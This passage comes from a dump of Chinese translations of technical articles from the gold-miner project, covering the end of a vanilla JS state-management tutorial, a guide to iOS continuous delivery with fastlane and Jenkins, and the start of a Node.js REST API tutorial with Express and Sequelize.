`addItem` action，并且让我们闪亮的新 `store` 为我们处理它。\n\n让我们在 `main.js` 中再添加一些代码。在事件监听器下，添加以下内容：\n\n```\nconst countInstance = new Count();\nconst listInstance = new List();\nconst statusInstance = new Status();\n\ncountInstance.render();\nlistInstance.render();\nstatusInstance.render();\n```\n\n我们在这里所做的就是创建组件的新实例并调用它们的每个 `render` 方法，以便我们在页面上获得初始状态。\n\n随着最后的添加，我们完成了！\n\n打开你的浏览器，刷新并沉浸在新状态管理应用程序的荣耀中。来吧，添加一些类似于**“完成这个令人敬畏的教程”**的条目。很整洁，是吧？\n\n### 下一步\n\n你可以借助我们一起整合的小系统来做很多事情。以下是你自己进一步探索的一些想法：\n\n*   你可以实现一些本地存储，以保持状态，即使当你重新加载时\n*   你可以分离出前端模块，只为你的项目提供一个小型状态系统\n*   你可以继续开发此应用程序的前端模块并使其看起来很棒。（我真的很想看到你的作品，所以请分享！）\n*   你可以使用一些远程数据，甚至可以使用 API\n*   你可以整理你所学到的关于 `Proxy` 和 Pub/Sub 模式的知识，并进一步学习那些可用于不同工作的技能\n\n### 总结\n\n感谢你同我一起学习状态系统是如何工作的。那些大型的主流状态管理库比我们所做的事情要复杂，智能得多 —— 但了解这些系统如何运作并揭开它们背后的神秘面纱仍然有用。无论如何，了解 JavaScript 在不使用框架下的强大能力也很有用。\n\n如果你想要这个小系统的完成版本，请查看这个 [GitHub 仓库](https://github.com/hankchizljaw/vanilla-js-state-management)。你还可以在[此处](https://vanilla-js-state-management.hankchizljaw.io)查看演示。\n\n如果你在此基础上进一步开发，我很乐意看到它，所以如果你这样做，请在[推特](https://twitter.com/hankchizljaw)上跟我联络或发表在下面的评论中！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-it-test-it-deliver-it-complete-ios-guide-on-continuous-delivery-with-fastlane-and-jenkins.md",
    "content": "> * 原文地址：[Build it, Test it, Deliver it! Complete iOS Guide on Continuous Delivery with fastlane and Jenkins](https://medium.com/flawless-app-stories/build-it-test-it-deliver-it-complete-ios-guide-on-continuous-delivery-with-fastlane-and-jenkins-cbe44e996ac5)\n> * 原文作者：[S.T.Huang](https://medium.com/@koromikoneo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-it-test-it-deliver-it-complete-ios-guide-on-continuous-delivery-with-fastlane-and-jenkins.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-it-test-it-deliver-it-complete-ios-guide-on-continuous-delivery-with-fastlane-and-jenkins.md)\n> * 译者：[talisk](https://github.com/talisk)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH)，[rydensun](https://github.com/rydensun)\n\n# 构建、测试、分发！运用 Fastlane 与 Jenkins，完整的 iOS 持续交付指南。\n\n![](https://cdn-images-1.medium.com/max/2000/0*Rj31MgxTgf2Z0Peo.)\n\niOS/macOS 真的很有趣。\n你可以在很多领域获得知识！你可能会了解 Bezier 或 3D 变换等图形技术。你也需要了解如何使用数据库、设计高效的架构。此外，你应该掌握嵌入式系统的内存管理方式（特别是那些处于 MRC 时代的人）。所有这些使得 iOS/macOS 的开发如此多元化并且具有挑战性。\n\n**在这篇文章里，我们将要学习你可能想了解的另一些知识：持续交付（CD）**。持续交付是一种软件方法，可帮助你随时可靠地发布产品。持续交付（CD）通常带有术语**持续集成（CI）**。CI 也是一种软件工程技术。这意味着系统始终将开发者的工作不断地合并到主线。CI 和 CD 不仅对一个大团队有用，而且对单人团队也有用。如果你是单人团队的唯一开发人员，CD 对你来说可能意味着更多，因为每个应用程序开发人员都无法避免交付。因此，本文将重点介绍如何为你的应用程序构建 CD 系统。幸运的是，所有这些技术也可以用于构建 CI 系统。\n\n想象一下我们正在开发一款名为 **Brewer** 的 iOS 应用，我们的工作流大概像下图这样：\n\n![](https://cdn-images-1.medium.com/max/800/0*0jXhBlVFGke_tF_2.)\n\n首先，我们开发。然后 QA 组的同事帮我们手工测试应用。QA 人员批准构建测试后，我们放出（提交到 AppStore 待审核）我们的应用。在不同的阶段中，我们有不同的环境。在开发期，我们创建的应用在一个测试环境中，以备平时测试。当 QA 组正在测试时，我们准备一个生产环境的应用，这可能是每周专门提供给 QA 测试用。最后，我们提交一个生产环境的应用。这样，最终构建可能没有一个明确的时间表。\n\n让我们深入了解交付部分。你可能会发现我们在构建测试应用程序方面有很多重复的工作。这是 CD 系统可以帮助你的。具体来说，我们的 CD 系统需要：\n\n1. 在不同的环境中构建应用程序（测试环境/生产环境）。\n2. 根据我们选择的环境给应用签名。\n3. 导出应用程序并将其发送到分发平台（例如 Crashlytics 和 TestFlight）。\n4. 根据特定的时间表，构建应用程序。\n\n### **概要**\n\n以下是我们在本文中要做的事情：\n\n* **设置你的项目**：如何设置你的项目以支持不同环境之间的切换。\n* **手动代码签名**：如何手动处理证书和配置文件。\n* **独立环境**：如何使用 Bundler 隔离系统环境。\n* **使用 fastlane 构建**：如何使用 fastlane 构建和导出应用程序。\n* **Jenkins 今晚将为你服务**：Jenkins 如何帮助你安排任务。\n\n开始之前，你可能需要看看这些：\n\n*   什么是 [fastlane](https://fastlane.tools/)\n*   什么是 [Jenkins](https://jenkins.io/)\n*   什么是 [Code signing](https://developer.apple.com/support/code-signing/)\n\n如果你是个忙碌的帅哥或靓女，别担心，我为你在公共仓库里准备了 Brewer 应用以及一些示例脚本！\n\n* [**koromiko/Brewer**: Brewer - We brew beer every night! github.com](https://github.com/koromiko/Brewer)\n\n那么，让我们开始吧！\n\n### 设置你的项目\n\n我们通常在开发人员测试阶段连接到开发服务器或测试服务器。我们还需要在将应用发给 QA 组测试，或 AppStore 时，连接到生产服务器。通过编辑代码切换服务器可能不是一个好主意。这里我们使用 Xcode 中的构建配置和编译器标志。我们不会详细介绍配置。如果你对该设置该兴趣，可以看看这篇 [Yuri Chukhlib](https://twitter.com/D4Yuri) 写的不错的文章：\n\n* [**轻而易举地在 Swift 项目中管理环境**\nmedium.com](https://github.com/xitu/gold-miner/blob/master/TODO1/manage-different-environments-in-your-swift-project-with-ease.md)\n\n在我们的 Brewer 项目中，我们有三个构建选项：\n\n*   Staging\n*   Production\n*   Release\n\n每个都映射到特定的 Bundle 标识：\n\n![](https://cdn-images-1.medium.com/max/800/0*CyWbsYZ-6ZzrrY9y.)\n\n我们通过设置标识，来让代码知晓我们正在用哪个环境。\n\n![](https://cdn-images-1.medium.com/max/800/0*k8Fb1CXd1SpIgFoK.)\n\n因此我们可以像这样来写：\n\n```\n#if PROD\n  print(“We brew beer in the Production”)\n#elseif STG\n  print(“We brew beer in the Staging”)\n#endif\n```\n\n现在我们能够不用修改代码，通过构建选项来切换测试环境与生产环境了！🎉\n\n### 手动代码签名\n\n![](https://cdn-images-1.medium.com/max/800/0*rfY9x3TB7VEnUENC.)\n\n这是每个 iOS / macOS 开发人员熟知的红色按钮。我们通过取消选中此框来启动每个项目。但为什么它如此臭名昭着？你可能知道它会下载证书和配置文件，并将其嵌入到你的项目和系统中。如果有任何文件遗漏，它会为你制作一个新文件。对于单人的项目组来说，这里不会有问题。但是如果你在一个大团队中，你可能会无意中刷新原始证书，然后由于证书无效而导致构建系统停止工作。对我们来说，这是一个隐藏了太多信息的黑匣子。\n\n所以在我们 Brewer 项目中，我们想手动做这件事，在我们的配置中有有三个应用 ID：\n\n*   **works.sth.brewer.staging**\n*   **works.sth.brewer.production**\n*   **works.sth.brewer**\n\n我们将在这篇文章里关注前两个配置，现在我们要准备：\n\n*   **Certificate**：一个 Ad Hoc、App Store 分发证书，采用 .p12 格式。\n*   **Provisioning Profiles**：两个应用标识的 Ad Hoc 分发配置文件，**works.sth.brewer.staging** 与 **works.sth.brewer.production**。\n\n提醒下，我们需要 p12 格式的证书文件，因为我们希望其可用在不同的机器上，只有 .p12 格式包含了证书的私钥。看[这篇文章](https://stackoverflow.com/questions/39091048/convert-cer-to-p12)来了解如何将 .cer（DEM 格式）文件转换为 .p12（P12 格式）格式文件。\n\n现在目录下有我们的证书签名文件：\n\n![](https://cdn-images-1.medium.com/max/800/0*qnhxIxQwwRlMeTP3.)\n\n这些文件由 CD 系统使用，所以请将该文件夹放在 CD 机器上。 请**不要**将这些文件放到你的项目中，**不要**将它们提交到你的项目仓库。 将代码签名文件托管在不同的私有仓库中可以。你可能希望了解有关安全问题的讨论，可以看看 [match — fastlane docs](https://docs.fastlane.tools/actions/match/#is-this-secure)。\n\n### 用 fastlane 构建 🚀\n\n[fastlane](https://docs.fastlane.tools/) 是让开发和发布工作流自动化的工具。比如，它可以通过一个脚本构建应用、运行单元测试、向 Crashlytics 上传二进制。你不需要一步一步手动地做这些事。\n\n在这个项目中，我们将要用 fastlane 完成两项任务：\n\n*   构建、发布测试环境的应用。\n*   构建、发布生产环境的应用。\n\n这两种方法之间的区别仅仅在于配置。共同的任务包括：\n\n*   用证书和配置文件签名\n*   构建并导出应用\n*   把应用上传到 Crashlytics（或其它分发平台）\n\n明确了任务，我们现在可以开始编写 fastlane 脚本了。我们将使用 Swift 版 fastlane 在我们的项目中编写我们的脚本。Swift 版 fastlane 还在测试阶段，运行一切良好，但除了：\n\n*   它还不支持插件\n*   它不能捕获异常\n\n但是用 Swift 编写脚本使得开发人员更易于阅读和维护。而且你可以轻松地将 Swift 脚本转换为 Ruby 脚本。所以让我们试试吧！\n\n首先初始化我们的项目（还记得 Bundler 吧？）：\n\n```\nbundler exec fastlane init swift\n```\n\n然后，你可以在 fastlane/Fastfile.swift 中找到脚本。在脚本中，有一个 fastfile 类。这是我们的主要程序。在本类中用 **Lane** 为后缀命名的每一个方法都是一个 lane。我们可以将预定义的动作添加到 lane，并使用命令执行 lane：\n\n```\nbundle exec fastlane <lane name>.\n```\n\n让我们填充一些代码：\n\n```\nclass Fastfile: LaneFile {\n    func developerReleaseLane() {\n        desc(\"Create a developer release\")\n\tpackage(config: Staging())\n\tcrashlytics\n    }\n\n    func qaReleaseLane() {\n        desc(\"Create a qa release\")\n        package(config: Production())\n        crashlytics\n    }\n}\n```\n\n我们为任务创建两个 lane：**developerRelease** 和 **qaRelease**。这两个任务都做了同样的事：用指定配置来构建打包，并将导出的 ipa 上传到 Crashlytics。\n\n两个 lane 都有一个 package 方法。**package()** 方法的声明看起来是这样：\n\n```\nfunc package(config: Configuration) {\n}\n```\n\n参数时一个遵循 Configuration 协议的对象。Configuration 的定义如下：\n\n```\nprotocol Configuration {\n    /// file name of the certificate \n    var certificate: String { get } \n\n    /// file name of the provisioning profile\n    var provisioningProfile: String { get } \n\n    /// configuration name in xcode project\n    var buildConfiguration: String { get }\n\n    /// the app id for this configuration\n    var appIdentifier: String { get }\n\n    /// export methods, such as \"ad-doc\" or \"appstore\"\n    var exportMethod: String { get }\n}\n```\n\n然后我们创建两个两个遵循该协议的结构体：\n\n```\nstruct Staging: Configuration { \n    var certificate = \"ios_distribution\"\n    var provisioningProfile = \"Brewer_Staging\"\n    var buildConfiguration = \"Staging\"\n    var appIdentifier = \"works.sth.brewer.staging\"\n    var exportMethod = \"ad-hoc\"\n}\n\nstruct Production: Configuration { \n    var certificate = \"ios_distribution\"\n    var provisioningProfile = \"Brewer_Production\"\n    var buildConfiguration = \"Production\"\n    var appIdentifier = \"works.sth.brewer.production\"\n    var exportMethod = \"ad-hoc\"\n}\n```\n\n使用该协议，我们能够确保每个配置都具有所需的设置。每当我们有新的配置时，我们不需要编写 package 的详细信息。\n\n那么，**package(config:)** 看起来如何？说爱你他需要从文件系统中导入证书。记住我们的代码签名文件夹，我们用 [importCertificate](https://docs.fastlane.tools/actions/import_certificate/) action 来实现我们的目标。\n\n```\nimportCertificate(\n    keychainName: environmentVariable(get: \"KEYCHAIN_NAME\"),\n    keychainPassword: environmentVariable(get: \"KEYCHAIN_PASSWORD\"),\n    certificatePath: \"\\(ProjectSetting.codeSigningPath)/\\(config.certificate).p12\",\n    certificatePassword: ProjectSetting.certificatePassword\n)\n```\n\nkeychainName是你的钥匙串的名称，默认名称是『登录』。**keychainPassword** 是你钥匙串的密码，fastlane 使用它来解锁你的钥匙串。由于我们将 Fastfile.swift 提交到仓库以确保交付代码在每台计算机中都是一致的，因此在 Fastfile.swift 中将密码写为字符串文字可不是一个好主意。因此，我们使用环境变量来替换字符串文字。在系统中，我们用这个方式来保存环境变量：\n\n```\nexport KEYCHAIN_NAME=”KEYCHAIN_NAME”;\nexport KEYCHAIN_PASSWORD=”YOUR_PASSWORD”;\n```\n\n在 Fastfile 中，我们用 **environmentVariable(get:)** 获得环境变量的值。通过使用环境变量，我们可以避免代码中出现密码，来显著提高安全性。\n\n回到 **importCertificate()**，**certificatePath** 是你的 .p12 证书文件的路径。我们创建一个名为 **ProjectSetting** 的枚举来标识共享的项目设置。这里我们也用环境变量来传递密码。\n\n```\nenum ProjectSetting {\n    static let codeSigningPath = environmentVariable(get: \"CODESIGNING_PATH\")\n    static let certificatePassword = environmentVariable(get: \"CERTIFICATE_PASSWORD\")\n}\n```\n\n导入证书后，我们将设置配置文件。我们用 [updateProjectProvisioning](https://docs.fastlane.tools/actions/update_project_provisioning/)：\n\n```\nupdateProjectProvisioning(\n    xcodeproj: ProjectSetting.project,\n    profile: \"\\(ProjectSetting.codeSigningPath)/\\(config.provisioningProfile).mobileprovision\",\n    targetFilter: \"^\\(ProjectSetting.target)$\",\n    buildConfiguration: config.buildConfiguration\n)\n```\n\n此操作获取配置文件，导入配置文件并在指定的配置中修改你的项目设置。配置文件参数是提供配置文件的路径。目标过滤器使用正则表达式符号来查找我们要修改的目标。请注意，updateProjectProvisioning 不会修改你的项目文件，因此如果你想在本地计算机上运行它，请小心。CD 任务无关紧要，因为 CD 系统不会对代码库进行任何更改。\n\n好的，我们完成了代码签名部分！以下部分将非常简单明了，请耐心等待！\n\n让我们现在来构建应用：\n\n```\nbuildApp(\n    workspace: ProjectSetting.workspace,\n    scheme: ProjectSetting.scheme,\n    clean: true,\n    outputDirectory: \"./\",\n    outputName: \"\\(ProjectSetting.productName).ipa\",\n    configuration: config.buildConfiguration,\n    silent: true,\n    exportMethod: config.exportMethod,\n    exportOptions: [\n        \"signingStyle\": \"manual\",\n        \"provisioningProfiles\": [config.appIdentifier: config.provisioningProfile] ],\n    sdk: ProjectSetting.sdk\n)\n```\n\n[buildApp](https://docs.fastlane.tools/actions/build_app/) 帮助你构建并导出项目。它底层是调用 **xcodebuild** 的。除了 **exportOptions**，每个参数都很直观。让我们看看它长啥样：\n\n```\nexportOptions: [\n    \"signingStyle\": \"manual\",\n    \"provisioningProfiles\": [config.appIdentifier: config.provisioningProfile] ]\n```\n\n不像其他参数，它是一个 dictionary。**signingStyle** 是你想要代码签名的方式，我们在这里放置了 **manual**。**provisioningProfiles** 也是一个字典。这是应用程序 ID 和相应的配置文件之间的映射。最后我们完成了 fastlane 设置！现在你可以直接执行：\n\n```\nbundle exec fastlane qaRelease\n```\n\n或是这样：\n\n```\nbundle exec fastlane developerRelease\n```\n\n来用合适的配置发布测试构建！\n\n### Jenkins 今晚将为你服务\n\nJenkins是一个自动化服务器，可帮助你执行 CI 与 CD 任务。它运行一个 Web GUI 界面，并且很容易定制，所以它对于敏捷团队来说是一个很好的选择。Jenkins 在我们项目中的规则如图所示：\n\n![](https://cdn-images-1.medium.com/max/800/0*9grv9Y-KdYv5vHGk.)\n\nJenkins 获取项目的最新代码并定期为你运行任务。在执行脚本的部分，我们可以看到 Jenkins 实际上执行了我们在前几节中所做的任务。但现在我们不需要自己做，Jenkins 无缝地为你完成了这些！\n\n从每晚构建作业开始，让我们开始创建一个 Jenkins 任务。首先，我们创建一个『自定义项目』，并进入它的『配置』页面。我们需要配置的第一件事是**源代码管理**（SCM）部分：\n\n![](https://cdn-images-1.medium.com/max/800/0*6txUjxhUml5zC1wb.)\n\n**Repository URL** 是项目源代码的地址。如果你的仓库是私有的，你需要添加 **Credentials** 以获得仓库读取权限。你可以在 **Branches to build** 中设置目标分支，通常它是你的默认分支。\n\n然后，接下来我们可以看到 **Builder Trigger** 部分。在本节中，我们可以决定是什么触发了构建作业。根据我们的工作流，我们希望它每周周末晚上开始。\n\n![](https://cdn-images-1.medium.com/max/800/0*I-YHW-1sJ44wooCR.)\n\n然后我们检查 **Poll SCM**，这意味着 Jenkins 会定期轮询指定的仓库。日程安排文本区域要写上以下内容：\n\n```\nH 0 * * 0–4\n```\n\n这是什么意思呢？让我们先看看官方说明：\n\n> 这个字段遵循 cron 的语法（有细微差别）。具体而言，每行包含由 TAB 或空格分隔的 5 个字段：\n> MINUTE HOUR DOM MONTH DOW\n> MINUTE 分钟小时内的分钟数（0-59）\n> HOUR 小时一天中的小时（0-23）\n> DOM 每月的一天（1-31）\n> MONTH（1-12）\n> DOW 星期几（0-7），其中0和7是星期日。\n\n它由五部分构成\n\n*   分钟\n*   小时\n*   日期\n*   月份\n*   周\n\n该字段可以是数字。 我们也可以用『\\*』来表示『所有』数字。 我们用『H』表示一个 hash，自动选择『某个』数字。\n\n所以我们会这样写：\n\n```\nH 0 * * 0–4\n```\n\n意思是：任务将在周日到周四，每晚零点到一点执行。\n\n最后，但是最重要的，来检查下 **Build** 部分的内容，这是我们希望 Jenkins 执行的东西：\n\n```\nexport LC_ALL=en_US.UTF-8;\nexport LANG=en_US.UTF-8;\n\nexport CODESIGNING_PATH=”/path/to/cert”;\nexport CERTIFICATE_PASSWORD=”xxx”;\nexport KEYCHAIN_NAME=”XXXXXXXX”;\nexport KEYCHAIN_PASSWORD=”xxxxxxxxxxxxxx”\n\nbundle install — path vendor/bundler\nbundle exec fastlane developerRelease\n```\n\n前 6 行是设置我们之前描述的环境变量。第 7 行安装依赖项，包括 fastlane。然后最后一行执行一个名为『developerRelease』的 lane。总之，这个任务每个工作日晚上都会建立并上传一个 developerRelease。这是我们第一次每晚构建！🚀\n\n你可以通过单击 Jenkins 项目页面的侧面菜单中的内部版本号来检查构建状态：\n\n![](https://cdn-images-1.medium.com/max/800/0*YFImLvOHvNHYCyfS.)\n\n### 综述\n\n我们一起学会了如何用 fastlane 和 Jenkins 创建 CD 系统。我们了解如何手动管理代码签名。我们自动为我们创建了一条运行任务。我们还探讨了如何在不更改代码的情况下切换配置。最后，我们建立了一个每天晚上构建应用程序的 CD 系统。\n\n尽管许多 iOS 与 macOS 应用程序是由单人团队创建的，但自动化交付流程仍然是一项高效的改进。通过自动化流程，我们可以降低配置错误的风险，避免被过期的代码签名所阻塞，并减少构建上传的等待时间。\n\n本文中介绍的工作流程可能与你的工作流程不完全相同，但掌握每个团队自己的工作流程和步伐非常重要。所以你必须创建自己的 CD 系统来满足你的团队的需要。通过将这些技术用作构建模块，你一定能够构建自己定制的、更好的 CD 系统！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-secure-rest-api-with-node.md",
    "content": "> * 原文地址：[Build a Simple REST API with Node and OAuth 2.0](https://developer.okta.com/blog/2018/08/21/build-secure-rest-api-with-node)\n> * 原文作者：[Braden Kelley](https://developer.okta.com/blog/2018/08/21/build-secure-rest-api-with-node)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-secure-rest-api-with-node.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-secure-rest-api-with-node.md)\n> * 译者：[Starriers](https://github.com/Starriers)\n> * 校对者：[jianboy](https://github.com/jianboy)\n\n# 使用 Node 和 OAuth 2.0 构建一个简单的 REST API\n\nJavaScript 在 web 是随处可见 —— 几乎每个 web 页面都会或多或少的包含一些 JavaScript，即使没有 JavaScript，你的浏览器也可能存在某种扩展类型向页面中注入一些 JavaScript 代码。直到如今，这些事情都不可避免。\n\nJavaScript 也可以用于浏览器的上下文之外的任何事情，从托管 web 服务器来控制 RC 汽车或运行成熟的操作系统。有时你想要几个一组无论是在本地网络还是在互联网上都可以相互交流的服务器。\n\n今天，我会向你演示如何使用 Node.js 创建一个 REST API，并使用 OAuth 2.0 保证它的安全性，以此来阻止不必要的请求。REST API 在 web 上比比皆是，但如果没有合适的工具，就需要大量的样板代码。我会向你演示如何使用可以轻松实现客户端认证流的令人惊讶的一些工具，它可以在没有用户上下文的情况下将两台机器安全地连接。\n\n## 构建你的 Node 服务器\n\n使用 [Express JavaScript 库](https://expressjs.com/) 在 Node 中设置 web 服务器非常简单。创建一个包含服务器的新文件夹。\n\n```\n$ mkdir rest-api\n```\n\nNode 使用 `package.json` 来管理依赖并定义你的项目。我们使用 `npm init` 来新建该文件。该命令会在帮助你初始化项目时询问你一些问题。现在你可以使用[标准 JS](https://standardjs.com/) 来强制执行编码标准，并将其用作测试。\n\n```\n$ cd rest-api\n\n$ npm init\n这个实用工具将引导你创建 package.json 文件。\n它只涵盖最常见的项目，并试图猜测合理的默认值。\n\n请参阅 `npm help json` 来获取关于这些字段的确切文档以及它们所做的事情。\n\n使用 `npm install <pkg>` 命令来安装一个 npm 依赖，并将其保存在 package.json 文件中。\n\nPress ^C at any time to quit.\npackage name: (rest-api)\nversion: (1.0.0)\ndescription: A parts catalog\nentry point: (index.js)\ntest command: standard\ngit repository:\nkeywords:\nauthor:\nlicense: (ISC)\nAbout to write to /Users/Braden/code/rest-api/package.json:\n\n{\n  \"name\": \"rest-api\",\n  \"version\": \"1.0.0\",\n  \"description\": \"A parts catalog\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"standard\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\"\n}\n\n\nIs this OK? (yes)\n```\n\n默认的入口端点是 `index.js`，因此，你应当创建一个 `index.js` 文件。下面的代码将为你提供一个出了默认监听 3000 端口以外什么也不做的非常基本的服务器。\n\n**index.js**\n\n```\nconst express = require('express')\nconst bodyParser = require('body-parser')\nconst { promisify } = require('util')\n\nconst app = express()\napp.use(bodyParser.json())\n\nconst startServer = async () => {\n  const port = process.env.SERVER_PORT || 3000\n  await promisify(app.listen).bind(app)(port)\n  console.log(`Listening on port ${port}`)\n}\n\nstartServer()\n```\n\n`util` 的 `promisify` 函数允许你接受一个期望回调的函数，然后返回一个 promise，这是处理异步代码的新标准。这还允许我们使用相对较新的 `async`/`await` 语法，并使我们的代码看起来漂亮得多。\n\n为了让它运行，你需要下载你在文件头部导入的 `require` 依赖。使用 `npm install` 来安装他们。这会将一些元数据自动保存到你的 `package.json` 文件中，并将它们下载到本地的 `node_modules` 文件中。\n\n**注意**：你永远都不应该向源代码提交 `node_modules`，因为对于源代码的管理，往往会很快就变得臃肿，而 `package-lock.json` 文件将跟踪你使用的确切版本，如果你将其安装在另一台计算机上，它们将得到相同的代码。\n\n```\n$ npm install express@4.16.3 util@0.11.0\n```\n\n对于一些快速 linting，请安装 `standard` 作为 dev 依赖，然后运行它以确保你的代码达到标准。\n\n```\n$ npm install --save-dev standard@11.0.1\n$ npm test\n\n> rest-api@1.0.0 test /Users/bmk/code/okta/apps/rest-api\n> standard\n```\n\n如果一切顺利，在 `> standard` 线后，你不应该看到任何输出。如果有错误，可能如下所示：\n\n```\n$ npm test\n\n> rest-api@1.0.0 test /Users/bmk/code/okta/apps/rest-api\n> standard\n\nstandard: Use JavaScript Standard Style (https://standardjs.com)\nstandard: Run `standard --fix` to automatically fix some problems.\n  /Users/Braden/code/rest-api/index.js:3:7: Expected consistent spacing\n  /Users/Braden/code/rest-api/index.js:3:18: Unexpected trailing comma.\n  /Users/Braden/code/rest-api/index.js:3:18: A space is required after ','.\n  /Users/Braden/code/rest-api/index.js:3:38: Extra semicolon.\nnpm ERR! Test failed.  See above for more details.\n```\n\n现在，你的代码已经准备好了，也下载了所需的依赖，你可以用 `node .` 运行服务器了。（`.` 表示查看前目录，然后检查你的 `package.json` 文件，以确定该目录中使用的主文件是 `index.js`）：\n\n```\n$ node .\n\nListening on port 3000\n```\n\n为了测试它的工作状态，你可以使用 `curl` 命令。没有终结点，所以 Express 将返回一个错误：\n\n```\n$ curl localhost:3000 -i\nHTTP/1.1 404 Not Found\nX-Powered-By: Express\nContent-Security-Policy: default-src 'self'\nX-Content-Type-Options: nosniff\nContent-Type: text/html; charset=utf-8\nContent-Length: 139\nDate: Thu, 16 Aug 2018 01:34:53 GMT\nConnection: keep-alive\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot GET /</pre>\n</body>\n</html>\n```\n\n即使它报错，那也是非常好的情况。你还没有设置任何端点，因此 Express 唯一要返回的是 404 错误。如果你的服务器根本没有运行，你将得到如下错误：\n\n```\n$ curl localhost:3000 -i\ncurl: (7) Failed to connect to localhost port 3000: Connection refused\n```\n\n## 用 Express、Sequelize 和 Epilogue 构建你的 REST API\n\n你现在有了一台正在运行的 Express 服务器，你可以添加一个 REST API。这实际上比你想象中的简单的多。我看过的最简单的方法是使用 [Sequelize](http://docs.sequelizejs.com/) 来定义数据库字段，[Epilogue](https://github.com/dchester/epilogue) 创建带有接近零样板的 REST API 端点。\n\n你需要将这些依赖加入到你的项目中。Sequelize 也需要知道如何与数据库进行通信。现在，使用 SQLite 是因为它能帮助我们快速地启动和运行。\n\n```\nnpm install sequelize@4.38.0 epilogue@0.7.1 sqlite3@4.0.2\n```\n\n新建一个包含以下代码的文件 `database.js`。我会在下面详细解释每一部分。\n\n**database.js**\n\n```\nconst Sequelize = require('sequelize')\nconst epilogue = require('epilogue')\n\nconst database = new Sequelize({\n  dialect: 'sqlite',\n  storage: './test.sqlite',\n  operatorsAliases: false\n})\n\nconst Part = database.define('parts', {\n  partNumber: Sequelize.STRING,\n  modelNumber: Sequelize.STRING,\n  name: Sequelize.STRING,\n  description: Sequelize.TEXT\n})\n\nconst initializeDatabase = async (app) => {\n  epilogue.initialize({ app, sequelize: database })\n\n  epilogue.resource({\n    model: Part,\n    endpoints: ['/parts', '/parts/:id']\n  })\n\n  await database.sync()\n}\n\nmodule.exports = initializeDatabase\n```\n\n你现在只需要将那些文件导入主应用程序并运行初始化函数即可。在你的 `index.js` 文件中添加以下内容。\n\n**index.js**\n\n```\n@@ -2,10 +2,14 @@ const express = require('express')\n const bodyParser = require('body-parser')\n const { promisify } = require('util')\n\n+const initializeDatabase = require('./database')\n+\n const app = express()\n app.use(bodyParser.json())\n\n const startServer = async () => {\n+  await initializeDatabase(app)\n+\n   const port = process.env.SERVER_PORT || 3000\n   await promisify(app.listen).bind(app)(port)\n   console.log(`Listening on port ${port}`)\n```\n\n你现在可以测试语法错误，如果一切 看上去都正常了，就可以启动应用程序了：\n\n```\n$ npm test && node .\n\n> rest-api@1.0.0 test /Users/bmk/code/okta/apps/rest-api\n> standard\n\nExecuting (default): CREATE TABLE IF NOT EXISTS `parts` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `partNumber` VARCHAR(255), `modelNu\nmber` VARCHAR(255), `name` VARCHAR(255), `description` TEXT, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL);\nExecuting (default): PRAGMA INDEX_LIST(`parts`)\nListening on port 3000\n```\n\n在另一个终端，你可以测试它是否实际上已经在工作了（我使用 [json CLI](https://github.com/trentm/json) 来格式化 JSON 响应，使用 `npm install --global json` 进行全局安装）：\n\n```\n$ curl localhost:3000/parts\n[]\n\n$ curl localhost:3000/parts -X POST -d '{\n  \"partNumber\": \"abc-123\",\n  \"modelNumber\": \"xyz-789\",\n  \"name\": \"Alphabet Soup\",\n  \"description\": \"Soup with letters and numbers in it\"\n}' -H 'content-type: application/json' -s0 | json\n{\n  \"id\": 1,\n  \"partNumber\": \"abc-123\",\n  \"modelNumber\": \"xyz-789\",\n  \"name\": \"Alphabet Soup\",\n  \"description\": \"Soup with letters and numbers in it\",\n  \"updatedAt\": \"2018-08-16T02:22:09.446Z\",\n  \"createdAt\": \"2018-08-16T02:22:09.446Z\"\n}\n\n$ curl localhost:3000/parts -s0 | json\n[\n  {\n    \"id\": 1,\n    \"partNumber\": \"abc-123\",\n    \"modelNumber\": \"xyz-789\",\n    \"name\": 